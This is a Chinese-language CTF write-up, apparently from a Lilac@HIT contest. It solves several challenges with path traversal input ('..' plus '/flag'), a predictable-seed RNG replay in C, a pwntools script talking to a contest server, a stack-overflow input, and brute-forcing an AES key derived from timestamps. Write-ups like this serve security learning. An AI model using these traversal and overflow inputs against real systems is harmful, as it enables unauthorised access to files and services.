$ nc 47.94.239.235 4001
welcome to Lilac@HIT
Here is kunkun's address:
flag{zonghelou_714}
2 坤坤の唱
放进 IDA 去，一看，就是打开 $signer/$music，不允许你写 ../
然后 Hint 告诉你要访问 ../flag
然后就是傻逼题目了
nc 47.94.239.235 4002
input the singer's name:
..
input the song's name:
/flag
here is the lyric:
flag{w0w_you_successfully_escape_the_r3strict}
3 坤坤の石头剪刀布
打开一看，发现 rand() 函数的种子是 time()%10
那为什么要动脑子，写个种子是 0 的情况
试一下就行了
#include <cstdio>
int num = 0;
int myRand() {
num = (num * num + 233) % 23333;
return num;
}
void mySrand(unsigned int seed) {
num = seed;
}
int playOnce() {
fflush(stdout);
int ai = myRand() % 3;
if( ai == 0)
return 1;
if( ai == 1)
return 2;
if( ai == 2)
return 0;
}
int main() {
mySrand(1);
int n = 100;
while( n -- ) {
printf( "%d\n", playOnce() );
}
}
然后直接拿输出日服务器就行了
4 坤坤の篮球
题目给了二进制，大力 IDA
IDA 告诉我们 Hint，是根据 Target 位移出来的东西
简单的分析可以发现，基本上就是 8 位一截
然后写个程序大力草就行了
basket.cpp:
#include <cstdio>
#include <iostream>
int n;
int read() {
int x = 0, w = 1; char ch = 0;
while (ch < '0' || ch > '9') { if (ch == '-') w = -1; ch = getchar(); }
while (ch >= '0' && ch <= '9') { x = x * 10 + (ch - '0'); ch = getchar(); }
return x * w;
}
int main() {
while(1) {
n = read();
int u1 = ( 1 << 8 ) - 1;
int tmp1 = n & u1;
n >>= 8;
int tmp2 = n & u1;
n >>= 8;
int tmp3 = n & u1;
n >>= 8;
int tmp4 = n & u1;
int res = tmp1;
res <<= 8;
res |= tmp4;
res <<= 8;
res |= tmp2;
res <<= 8;
res |= tmp3;
printf( "%d\n", res );
}
}
//-1897606077
// 00011101110010011010100010000110./basket.run 0.00s user 0.00s system 0% cpu 2.026 total
//
// Press ENTER or type command to continue
// 1133434084
// 10000111000111011010100111001000./basket.run 0.00s user 0.00s system 0% cpu 0.656 total
//
// 00011101 11001001 10101000 10000110
// 10000111 00011101 10101001 11001000
// 10001001 00011101 10101011 11000110
temp.py:
#!/usr/bin/python
from pwn import *
sh = process( './basket.o' )
rem = remote( "47.94.239.235", "4003" )
rem.recvline()
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )
for i in range (1,90):
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
print( rem.recvline() )
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )
rem.interactive()
事后发现基本上随便乱输入就可以得到 flag
毕竟是 pwn 题
5 坤坤のrap
放到 IDA，读入量比字符串定义的多
直接多放点就过去了
$ nc 47.94.239.235 4004
请开始你的表演:
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
ncongrats, here is the flag
flag{stack_0verflow_is_annoying!!}
tql!!!
from Crypto.Cipher import AES
#from secret import flag
import time
from hashlib import md5
import base64
time = int(time.time())
while 1:
time = time - 1
key = md5(str(time).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
flag = base64.b64decode( 'THM3FOB7PxOgVoI1fGsqQDJLGu41mL9nKCNeMvXzB+l8MFirir0C19YRS/ruDILq')
outData = aes.decrypt(flag)
print(outData)
